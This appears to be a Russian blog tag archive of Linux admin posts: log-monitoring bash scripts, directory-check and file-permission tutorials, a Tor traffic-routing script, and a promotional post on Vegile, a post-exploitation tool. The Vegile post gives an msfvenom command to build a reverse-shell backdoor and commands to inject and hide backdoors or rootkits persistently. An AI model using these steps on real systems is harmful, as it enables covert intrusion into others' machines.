Архив метки: Скрипты

🍨 Bash скрипт для отправки почты, когда в системе создается новая учетная запись пользователя

В настоящее время на рынке доступно множество инструментов для мониторинга с открытым исходным кодом, в том числе для мониторинга производительности систем Linux.

Они отправляют уведомление по электронной почте, когда система достигает указанного порогового значения.

Они контролируют все, например, использование ЦП, использование памяти, использование подкачки, использование дискового пространства и многое другое.

Но я не думаю, что у них есть возможность отслеживать новые действия по созданию пользователей и предупреждать о них.

Если нет, то это не имеет значения, так как мы можем написать собственный скрипт bash для достижения этой цели.

В прошлом мы добавили много полезных скриптов шелл.

Если вы хотите посмотреть их, перейдите по ссылках ниже:

Что делает скрипт?

Он отслеживает /var/log/secure и предупреждает администратора, когда в системе создается новая учетная запись.

Мы не можем часто запускать этот скрипт, поскольку создание пользователей происходит не очень часто.

Тем не менее, я планирую запускать этот скрипт один раз в день.

Таким образом, мы можем получить сводный отчет о создании пользователя.

Если в файле «/var/log/secure» для вчерашней даты была найдена строка useradd, скрипт отправит оповещение по электронной почте на указанный идентификатор электронной почты с информацией о новых пользователях.

Примечание. Вам необходимо изменить идентификатор электронной почты на свой собственный вместо нашего.

# vi /opt/scripts/new-user.sh



#!/bin/bash



#Set the variable which equal to zero

prev_count=0



count=$(grep -i "`date --date='yesterday' '+%b %e'`" /var/log/secure | egrep -wi 'useradd' | wc -l)



if [ "$prev_count" -lt "$count" ] ; then



# Send a mail to given email id when errors found in log



SUBJECT="ATTENTION: New User Account is created on server : `date --date='yesterday' '+%b %e'`"



# This is a temp file, which is created to store the email message.



MESSAGE="/tmp/new-user-logs.txt"



TO="admin@itsecforu.ru"



echo  "Hostname: `hostname`" >> $MESSAGE



echo -e "n" >> $MESSAGE



echo "The New User Details are below." >> $MESSAGE



echo "+------------------------------+" >> $MESSAGE



grep -i "`date --date='yesterday' '+%b %e'`" /var/log/secure | egrep -wi 'useradd' | grep -v 'failed adding'| awk '{print $4,$8}' | uniq | sed 's/,/ /' >>  $MESSAGE



echo "+------------------------------+" >> $MESSAGE



rm $MESSAGE



mail -s "$SUBJECT" "$TO" < $MESSAGE



fi

Установите разрешение на выполнение для файла new-user.sh.

$ chmod +x /opt/scripts/new-user.sh

Наконец добавьте cronjob, чтобы автоматизировать все это.

Он будет работать каждый день в 7 часов.

# crontab -e



0 7 * * * /bin/bash /opt/scripts/new-user.sh

# cat /tmp/logs.txt



Hostname: itsec.server10.com



The New User Details are below.

+------------------------------+

itsec.server10.com name=user1

itsec.server10.com name=user2

+------------------------------+

 



2019-07-30T13:21:30
Скрипты

🍵 Скрипт Bash для мониторинга журнала Messages (Warning, Error и Critical) в Linux

В настоящее время на рынке доступно множество инструментов для мониторинга с открытым исходным кодом для мониторинга производительности систем Linux.

Они отправляют уведомление по электронной почте, когда система достигает указанного порогового значения.

Они контролируют все, например, использование ЦП, использование памяти, использование подкачки, использование дискового пространства и многое другое.

Если у вас всего несколько систем и вы хотите их контролировать, то написание небольшого скрипта оболочки может облегчить вашу задачу.

В этом уроке мы добавили скрипт оболочки для отслеживания сообщений в системе Linux.

В прошлом мы добавили много полезных скрипты оболочки.

Если вы хотите посмотреть их, перейдите по ссылке ниже.

Этот скрипт проверит «warning, error и critical» в файле /var/log/messages и запустит письмо с указанным идентификатором электронной почты, если будет найдено что-либо связанное с ним.

Чтобы преодолеть эту проблему, я сделал скрипт для запуска электронной почты по-другому.

Если какие-либо данные строки найдены в файле «/var/log/messages» для вчерашней даты, скрипт отправит оповещение по электронной почте на указанный идентификатор электронной почты.

Примечание. Вам необходимо изменить идентификатор электронной почты на свой. Кроме того, вы можете изменить пороговое значение использования памяти в соответствии с вашими требованиями.

# vi /opt/scripts/os-log-alert.sh



#!/bin/bash



#Set the variable which equal to zero



prev_count=0



count=$(grep -i "`date --date='yesterday' '+%b %e'`" /var/log/messages | egrep -wi 'warning|error|critical' | wc -l)



if [ "$prev_count" -lt "$count" ] ; then



# Send a mail to given email id when errors found in log



SUBJECT="WARNING: Errors found in log on "`date --date='yesterday' '+%b %e'`""



# This is a temp file, which is created to store the email message.



MESSAGE="/tmp/logs.txt"



TO="2daygeek@gmail.com"



echo "ATTENTION: Errors are found in /var/log/messages. Please Check with Linux admin." >> $MESSAGE



echo  "Hostname: `hostname`" >> $MESSAGE



echo -e "n" >> $MESSAGE



echo "+------------------------------------------------------------------------------------+" >> $MESSAGE



echo "Error messages in the log file as below" >> $MESSAGE



echo "+------------------------------------------------------------------------------------+" >> $MESSAGE



grep -i "`date --date='yesterday' '+%b %e'`" /var/log/messages | awk '{ $3=""; print}' | egrep -wi 'warning|error|critical' >>  $MESSAGE



mail -s "$SUBJECT" "$TO" < $MESSAGE



#rm $MESSAGE



fi

Установите разрешение на запуск у файла os-log-alert.sh.

$ chmod +x /opt/scripts/os-log-alert.sh

Наконец добавьте cronjob, чтобы автоматизировать этот скрипт.

Он будет работать каждый день в 7 часов.

# crontab -e

0 7 * * * /bin/bash /opt/scripts/os-log-alert.sh

Примечание. Вы будете получать уведомления по электронной почте каждый день в 7 часов, что относится к вчерашним логам.

Вывод: вы получите оповещение по электронной почте, аналогичное приведенному ниже.

ATTENTION: Errors are found in /var/log/messages. Please Check with Linux admin.



+-----------------------------------------------------+

Error messages in the log file as below

+-----------------------------------------------------+

Jul  3 02:40:11 ns1 kernel: php-fpm[3175]: segfault at 299 ip 000055dfe7cc7e25 sp 00007ffd799d7d38 error 4 in php-fpm[55dfe7a89000+3a7000]

Jul  3 02:50:14 ns1 kernel: lmtp[8249]: segfault at 20 ip 00007f9cc05295e4 sp 00007ffc57bca1a0 error 4 in libdovecot-storage.so.0.0.0[7f9cc04df000+148000]

Jul  3 15:36:09 ns1 kernel: php-fpm[17846]: segfault at 299 ip 000055dfe7cc7e25 sp 00007ffd799d7d38 error 4 in php-fpm[55dfe7a89000+3a7000]

Jul  3 15:45:54 ns1 pure-ftpd: (?@5.188.62.5) [WARNING] Authentication failed for user [daygeek]

Jul  3 16:25:36 ns1 pure-ftpd: (?@104.140.148.58) [WARNING] Sorry, cleartext sessions and weak ciphers are not accepted on this server.#012Please reconnect using TLS security mechanisms.

Jul  3 16:44:20 ns1 kernel: php-fpm[8979]: segfault at 299 ip 000055dfe7cc7e25 sp 00007ffd799d7d38 error 4 in php-fpm[55dfe7a89000+3a7000]

 



2019-07-04T14:20:47
Скрипты

⛱ Проверьте, существует ли каталог в оболочке Linux или Unix

Нужно проверить, существует ли каталог в скрипте оболочки, работающем в Linux или Unix-подобной системе?

Как проверить, существует ли каталог в скрипте оболочки?

Каталог – это не что иное, как место для хранения файлов в системе Linux в иерархическом формате.

Например, $HOME/Downloads/ будет хранить все загруженные файлы или /tmp/ будет хранить временные файлы.

В этой статье показано, как узнать, существует ли каталог в Linux или Unix-подобных системах.

Как проверить, существует ли каталог в Linux

Можно проверить, существует ли каталог в скрипте оболочки Linux, используя следующий синтаксис:

  1. [ -d "/path/dir/" ] && echo "Directory /path/dir/ exists."

Вы можете использовать ! чтобы проверить, существует ли каталог в Unix:

  1. [ ! -d "/dir1/" ] && echo "Directory /dir1/ DOES NOT exists."

Можно проверить, существует ли каталог в скрипте Linux следующим образом:




DIR="/etc/httpd/"

if [ -d "$DIR" ]; then

  # Take action if $DIR exists. #

  echo "Installing config files in ${DIR}..."

fi

 

или

DIR="/etc/httpd/"

if [ -d "$DIR" ]; then

  ### Take action if $DIR exists ###

  echo "Installing config files in ${DIR}..."

else

  ###  Control will jump here if $DIR does NOT exists ###

  echo "Error: ${DIR} not found. Can not continue."

  exit 1

fi

Linux проверяет, существует ли каталог, и предпринимает какие-то действия

Вот пример скрипта оболочки, чтобы увидеть, существует ли папка в Linux:

 #!/bin/bash d="$1" &nbsp; [ "$d" == "" ] &amp;&amp; { echo "Usage: $0 directory"; exit 1; } [ -d "${d}" ] &amp;&amp; echo "Directory $d found." || echo "Directory $d not found." 

Запустите его следующим образом:

./test.sh

./test.sh /tmp/

./test.sh /itsecforu

Проверьте, существует ли каталог в bash, и если нет, то создайте его.

Вот пример скрипта оболочки, чтобы проверить, не существует ли каталог, и создать его в соответствии с нашими потребностями:

#!/bin/bash

dldir="$HOME/linux/5.x"

_out="/tmp/out.$$"

 

# Build urls

url="some_url/file.tar.gz"

file="${url##*/}"

 

### Check for dir, if not found create it using the mkdir ##

[ ! -d "$dldir" ] && mkdir -p "$dldir"

 

# Now download it

wget -qc "$url" -O "${dldir}/${file}"

 

# Do something else below #

Убедитесь, что вы всегда заключаете переменные оболочки, такие как $DIR, в двойные кавычки («$DIR», чтобы избежать неожиданностей в ваших скриптах:




DIR="foo"

[ -d "$DIR" ] && echo "Found"

##

## this will fail as DIR will only expand to "foo" and not to "foo bar stuff" 

## hence wrap it 

##

DIR="foo bar stuff"

[ -d $DIR ] && echo "Found"

 

Использование команды test

Команду test можно использовать для проверки типов файлов и сравнения значений.

Например, посмотрите, существует ли FILE и является ли он каталогом. Синтаксис:

 test -d "DIRECTORY" && echo "Found/Exists" || echo "Does not exist" 

Команда test аналогична [условному выражению. Следовательно, вы также можете использовать следующий синтаксис:

[ -d "DIR" ] && echo "yes" || echo "noop"

Помощь

 man bash

help [

help [[

man test 

Заключение

В этой статье описаны различные команды, которые можно использовать для проверки существования каталога в скриптов оболочки, работающем в Linux или Unix-подобных системах.

 



2019-05-21T09:30:59
Скрипты

Linux – Основные права доступа к файлам и каталогам

Что такое базовые права для файлов Linux?

Linux, как и UNIX, является многопользовательской системой, и права доступа к файлам являются одним из способов защиты системы от вредоносного вмешательства.

Один из способов получить доступ, когда вам отказано в разрешении, состоит в том, чтобы получить права root.

Имейте в виду, что тот, кто знает пароль root, имеет полный доступ.

Но переключение на суперпользователя не всегда удобно или не рекомендуется, поскольку легко допустить ошибки и изменить важные файлы конфигурации в качестве суперпользователя.

Все файлы и каталоги «принадлежат» человеку, который их создал.

Например, в листинге:

-rw-rw-r--    1 john   sap      150 Mar 19 08:08 file1.txt

Файл file1.txt принадлежит пользователю john.

Это означает, что вы можете указать, кому разрешено читать файл, писать в файл или (если это приложение, а не текстовый файл), кто может выполнять файл.

Вы также можете контролировать доступ к каталогам аналогичным образом.

Чтение, запись и выполнение [ r,w и x ] – три основных параметра в разрешениях.

Поскольку пользователи создаются в группе при создании их учетных записей, вы также можете указать, могут ли определенные группы читать, записывать или выполнять файл.

Используя приведенный выше пример file1.txt, вы можете увидеть, что здесь представлено много деталей.

Вы можете видеть, кто может читать (r) и записывать (w) файл, а также кто создал файл (john) и к какой группе принадлежит владелец (sap).

Однако помните, что по умолчанию имя вашей группы совпадает с вашим логином.

Другая информация справа от группы включает размер файла, дату и время создания файла и имя файла.

Первый столбец показывает текущие права; у него есть десять слотов.

Первый слот представляет тип файла.

Оставшиеся девять слотов фактически представляют собой три набора прав для трех разных категорий пользователей.

Например:

-rw-rw-r--

Эти три набора являются владельцем файла, группой, к которой принадлежит файл, и «другими», то есть всеми остальными пользователями.

 -    (rw-)   (rw-)   (r--) 1 john sap

|      |       |       |

type  owner  group   others

Первый элемент, который указывает тип файла, обычно показывает одно из следующего:

  • d – каталог
  • – (тире) – обычный файл (а не каталог или ссылка)
  • l – символическая ссылка на другую программу или файл в другом месте системы

Помимо первого элемента, в каждом из следующих трех наборов вы увидите одно из следующего:

  • r – файл можно прочитать
  • w – файл может быть изменен
  • x – файл может быть выполнен (если это программа)

Когда вы видите черту в владельце, группе или других лицах, это означает, что конкретные права не были предоставлены.

Посмотрите еще раз на первый столбец file1.txt и определите его права.

# ls -l file1.txt

-rw-rw-r--    1 john sap     150 Mar 19 08:08 file1.txt

В результате пользователь john владеет файлом.

Владельцем группы файла также является группа пользователя, которая называется sap.

Как  стики биты прав доступа к файлам соответствуют значениям, предоставленным chmod?

Стикибиты, применяемые к объекту файловой системы, напрямую соответствуют значениям, которые могут быть указаны в четырехзначном виде, предоставленном утилите chmod в следующей команде:

chmod abcd [file system object]

Каждое значение в наборе цифр abcd состоит из суммы значений 1, 2 и 4.

Сложив эти значения вместе для каждой цифры, можно сгенерировать значение, чтобы установить все атрибуты файлового объекта:

a – Эта цифра управляет настройками специальных атрибутов.

Значение 1 устанавливает бит setuid, значение 2 устанавливает бит setgid, а значение 4 устанавливает бит привязки объекта

b, c и d – эти цифры управляют разрешениями на чтение и запись для владельца файла, основной группы владельцев файлов и всех других пользователей.

Значение 4 включает разрешение на чтение, значение 2 включает разрешение на запись, а значение 1 включает разрешение на выполнение.

Примеры

Чтобы файл был прикрепленным к пользователю, читаемым и доступным для записи владельцем, читаемым его основной группой и доступным всем остальным:

# chmod 4610 filename

Чтобы дать все права всем в системе:

# chmod 0777 filename

Для получения дополнительной информации о chmod см. Справочную страницу chmod.

Как установить права доступа к файлам и каталогам, используя chown и chmod?

Используйте команду chown, чтобы изменить владельца и / или группу для файла.

Синтаксис прост.

Просто введите chown, за которым следует пользователь, которому принадлежит файл, а затем, необязательно, двоеточие («:») и имя группы.

Обратите внимание, что имена пользователей и / или групп должны существовать в системе.

Например:

# chown john:sap file1.txt

# ls -l file1.txt

-rw-rw-r--    1 john sap     150 Mar 19 08:08 file1.txt

в результате пользователь john владеет файлом.

Владельцем группы файла также является группа юзера, которая называется sap.

Используйте команду chmod для изменения прав доступа.

В этом примере показано, как изменить права для file1.txt с помощью команды chmod.

Если вы являетесь владельцем файла или вошли в систему под учетной записью root, вы можете изменить любые права для владельца, группы и других пользователей.

Прямо сейчас владелец и группа могут читать и записывать в файл.

Любой, кто находится за пределами группы, может только прочитать файл (r–).

ВНИМАНИЕ: Помните, что права доступа к файлам являются функцией безопасности. Всякий раз, когда вы позволяете кому-либо еще читать, записывать и выполнять файлы, вы увеличиваете риск подделки, изменения или удаления файлов. Как правило, вы должны предоставлять разрешения на чтение и запись только тем, кто действительно в них нуждается.

Как изменить права доступа к файлам / каталогам с помощью сокращенных обозначений?

В следующем примере вы хотите разрешить всем писать в файл, чтобы они могли читать его, записывать в него заметки и сохранять его.

Это означает, что вам придется изменить раздел «другие» прав доступа к файлу.

Сначала посмотрите на файл.

В командной строке введите:

# ls -l file1.txt

-rw-rw-r--    1 john sap     150 Mar 19 08:08 file1.txt

Теперь вы должны ввести следующее:

# chmod o+w file1.txt

Приведенная выше команда сообщает системе, что вы хотите дать другим разрешение на запись в файл file1.txt.

Чтобы проверить результаты, перечислите детали файла снова.

Теперь файл выглядит так:

-rw-rw-rw-    1 john sap     150 Mar 19 08:08 file1.txt

Теперь каждый может читать и писать в файл.

Чтобы удалить разрешения на чтение и запись из file1.txt, используйте команду chmod, чтобы убрать разрешения на чтение и запись.

# chmod go-rw file1.txt

Набрав go-rw, вы сообщаете системе об удалении прав на чтение и запись для группы и других пользователей из файла file1.txt.

Результат будет выглядеть так:

-rw-------    1 john sap    150 Mar 19 08:08 file1.txt

Считайте эти настройки своего рода сокращением, когда вы хотите изменить разрешения с помощью chmod, потому что все, что вам действительно нужно сделать, – это запомнить несколько символов и букв с помощью команды chmod.

Вот список того, что представляет сокращение:

Тождества

  • u – пользователь, которому принадлежит файл (то есть владелец)
  • g – группа, к которой принадлежит пользователь
  • o – другие (не владелец или группа владельца)
  • a – все или все (u, g и o)

Права доступа

  • r – доступ для чтения
  • w – доступ для записи
  • x – выполнить доступ

Действия

  • + – добавляет разрешение
  • – удаляет разрешение
  • = – делает это единственным разрешением

Вот несколько общих примеров настроек, которые можно использовать с chmod:

  • g + w – добавляет доступ на запись для группы
  • o-rwx – удаляет все разрешения для других
  • u + x – позволяет владельцу файла выполнить файл
  • + RW – позволяет всем читать и писать в файл
  • ug + r – позволяет владельцу и группе читать файл
  • g = rx – позволяет только группе читать и выполнять (не писать)

Как удалить все права для всех пользователей, используя сокращенные обозначения?

Хотите проверить свои навыки разрешений?

Удалите все разрешения из file1.txt – для всех.

# chmod a-rwx file1.txt

Теперь посмотрим, можете ли вы прочитать файл командой cat file1.txt, которая должна вернуть следующее:

cat: file1.txt: Permission denied

Удаление всех прав, включая ваши собственные, успешно заблокировало файл.

Но так как файл принадлежит вам, вы всегда можете изменить его разрешения обратно с помощью следующей команды:

# chmod u+rw file1.txt

Как вывести список прав доступа к файлам в восьмеричном формате?

Чтобы просмотреть разрешения для файлов в восьмеричном формате, используйте команду stat, предоставляемую пакетом coreutils.

Чтобы получить восьмеричные разрешения для всех файлов и каталогов в текущем рабочем каталоге, выполните команду ниже:

$ stat -c "%a %n" *

Чтобы получить восьмеричные разрешения для содержимого в определенном каталоге, скажем /usr/share, выполните следующую команду:

$ stat -c "%a %n" /usr/share/*

755 /usr/share/aclocal

755 /usr/share/alsa

755 /usr/share/anaconda

755 /usr/share/appdata

...

Чтобы получить восьмеричные разрешения только для каталога, скажем, /usr/share, а не для содержимого внутри него, выполните команду ниже:

$ stat -c "%a %n" /usr/share/

755 /usr/share/

Как сбросить все системные разрешения на файлы по умолчанию, если все разрешения для файлов изменены на 777?

Вы случайно выполнили следующую команду.

# chmod -R 777 /

Есть ли способ вернуться к исходным правам?

Выполните следующую команду, чтобы вернуться к исходным разрешениям.

# rpm -a --setperms

Это действие покажет некоторые ошибки, но можно пренебречь ими.

Как скопировать файлы с определенным разрешением по сети?

Для копирования файлов с определенными разрешениями можно использовать утилиту rsync:

# rsync --chmod=u+rwx,g+rx,o+rx  testfile user@192.168.0.1:/tmp/

Это скопирует тестовый файл в домашний каталог пользователя, а права доступа к скопированному файлу будут 755.

 



2018-12-26T11:32:32
Скрипты

✗ toriptables2: устанавливает iptables и отправляет все службы и трафик через сеть Tor✗

Скрипт Tor Iptables является анонимайзером, который устанавливает iptables и отправляет все службы и трафик, включая DNS, через сеть Tor.

Скачать

git clone https://github.com/ruped24/toriptables2.git

Использование

 toriptables2.py -h 

Как протестировать, что вы анонимны

Чтобы вручную изменить IP без перезагрузки:

Обновите веб-страницу Project Tor

sudo kill -HUP $(pidof tor)

источник : https://github.com/ruped24/

 



2018-09-25T14:08:42
Скрипты

Vegile – Призрак в шелле

Vegile – Призрак в шелле

Vegile – это инструмент для работы в Postfix.

Технология Post Exploitation гарантирует, что мы поддержим некоторый уровень доступа и потенциально может привести к более глубоким позициям в нашей целевой сети.

Этот инструмент будет настраивать ваш backdoor / rootkits, b  когда бэкдор уже настроит его, будет скрыт ваш процесс sposeifc, неограниченный  и прозрачный сеанс в metasploit.

Даже когда он будет убит, он снова запустится.

Вы можете использовать thefatrat для помощи в создании простого бэкдора:

 # msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=IP LPORT=PORT -b "x00" -f elf -o NAME_BACKDOOR 

Для скрытого процесса,вы можете использовать руткиты, бэкдоры, и ботнет {sh, python, perl, exe и binary}.

Целевые жертвы для всех дистрибутивов Linux включают (base32 и base64 в их системе)

Для получения атозапуска вы можете использовать crontab и xinit.d в своем бэкдоре.

Как начать

 #  git clone https://github.com/Screetsec/Vegile.git

# cd Vegile

# chmod +x Vegile 

Использование Vegile

Запуск Vegile без каких-либо параметров даст полезный список наиболее распространенных опций. вы можете использовать команду:

 #  Vegile -i / --inject [backdoor/rootkit]

# Vegile -u / --unlimited [backdoor/rootkit]

# Vegile -h / --help 

Скачать Vegile

 



2018-01-15T16:58:34
Скрипты